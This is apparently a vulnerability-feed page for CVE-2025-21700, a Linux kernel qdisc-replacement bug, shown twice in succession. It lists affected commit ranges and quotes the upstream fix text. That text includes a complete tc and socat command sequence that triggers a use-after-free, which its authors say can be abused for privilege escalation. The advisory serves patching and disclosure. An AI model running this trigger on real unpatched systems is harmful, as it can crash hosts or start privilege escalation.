Answer in brief
CVE-2025-21700 records a Unknown severity vulnerability in net: sched: Disallow replacing of child qdisc from one parent to another. The current sources do not mark it as known exploited. The current feed maps Linux/Linux (generic), Linux/Linux (generic). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
Answer in brief
CVE-2025-21700 records a Unknown severity vulnerability in net: sched: Disallow replacing of child qdisc from one parent to another. The current sources do not mark it as known exploited. The current feed maps Linux/Linux (generic), Linux/Linux (generic). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps Linux/Linux (generic), Linux/Linux (generic). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| Linux/Linuxgeneric | >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <cd796e269123e1994bfc4e99dd76680ba0946a97 || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <fe18c21d67dc7d1bcce1bba56515b1b0306db19b || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <38646749d6e12f9d80a08d21ca39f0beca20230d || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <deda09c0543a66fa51554abc5ffd723d99b191bf || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <7e2bd8c13b07e29a247c023c7444df23f9a79fd8 || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <73c7e1d6898ccbeee126194dcc05f58b8a795e70 || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <46c59ec33ec98aba20c15117630cae43a01404cc || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <bc50835e83f60f56e9bec2b392fb5544f250fb6f | cd796e269123e1994bfc4e99dd76680ba0946a97, fe18c21d67dc7d1bcce1bba56515b1b0306db19b, 38646749d6e12f9d80a08d21ca39f0beca20230d, deda09c0543a66fa51554abc5ffd723d99b191bf, 7e2bd8c13b07e29a247c023c7444df23f9a79fd8, 73c7e1d6898ccbeee126194dcc05f58b8a795e70, 46c59ec33ec98aba20c15117630cae43a01404cc, bc50835e83f60f56e9bec2b392fb5544f250fb6f |
| Linux/Linuxgeneric | 2.6.12 | Not reported |
Published upstream
Feb 13, 2025
Evidence: source:cvelist:source_dates:source-dates:recordSource modified
Aug 5, 2026
Evidence: source:cvelist:source_dates:source-dates:recordFirst seen by HOL
Aug 5, 2026
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <[email protected]>
Quoted source text, attributed separately from HOL analysis.
A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps Linux/Linux (generic), Linux/Linux (generic). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| Linux/Linuxgeneric | >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <cd796e269123e1994bfc4e99dd76680ba0946a97 || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <fe18c21d67dc7d1bcce1bba56515b1b0306db19b || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <38646749d6e12f9d80a08d21ca39f0beca20230d || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <deda09c0543a66fa51554abc5ffd723d99b191bf || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <7e2bd8c13b07e29a247c023c7444df23f9a79fd8 || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <73c7e1d6898ccbeee126194dcc05f58b8a795e70 || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <46c59ec33ec98aba20c15117630cae43a01404cc || >=1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 <bc50835e83f60f56e9bec2b392fb5544f250fb6f | cd796e269123e1994bfc4e99dd76680ba0946a97, fe18c21d67dc7d1bcce1bba56515b1b0306db19b, 38646749d6e12f9d80a08d21ca39f0beca20230d, deda09c0543a66fa51554abc5ffd723d99b191bf, 7e2bd8c13b07e29a247c023c7444df23f9a79fd8, 73c7e1d6898ccbeee126194dcc05f58b8a795e70, 46c59ec33ec98aba20c15117630cae43a01404cc, bc50835e83f60f56e9bec2b392fb5544f250fb6f |
| Linux/Linuxgeneric | 2.6.12 | Not reported |
Published upstream
Feb 13, 2025
Evidence: source:cvelist:source_dates:source-dates:recordSource modified
Aug 5, 2026
Evidence: source:cvelist:source_dates:source-dates:recordFirst seen by HOL
Aug 5, 2026
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <[email protected]>
Quoted source text, attributed separately from HOL analysis.